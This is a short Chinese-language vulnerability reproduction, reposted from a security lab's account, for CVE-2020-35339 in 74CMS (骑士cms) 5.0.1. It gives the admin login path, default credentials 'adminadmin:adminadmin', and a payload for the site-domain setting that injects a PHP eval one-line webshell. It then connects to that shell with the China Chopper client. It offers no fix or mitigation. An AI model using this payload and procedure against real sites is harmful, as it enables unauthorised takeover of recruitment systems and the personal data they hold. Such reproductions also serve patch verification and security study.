CVE-2020-35339 骑士cms任意代码执行

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现 CVE-2020-35339 骑士cms任意代码执行

0x01 阅读须知

0x02 漏洞描述

骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费+开源专业人才招聘系统。由太原迅易科技有限公司于2009年正式推出。为个人求职和企业招聘提供信息化解决方案,骑士人才系统具备执行效率高、模板切换自由、后台管理功能灵活、模块功能强大等特点，自上线以来一直是职场人士、企业HR青睐的求职招聘平台。

0x03 漏洞复现

漏洞版本:

• 74CMS 5.0.1

1.后台路径/index.php?m=Admin&c=index&a=login，默认密码adminadmin:adminadmin登录，在系统→网络配置→网站域名输入payload，即可在后台路径代码中插入一句话。

http://127.0.0.1/.\',eval($_POST[a]),\'/.com

2. 菜刀连接

http://x.x.x.x:45711/index.php?m=Admin&c=index&a=login
密码为a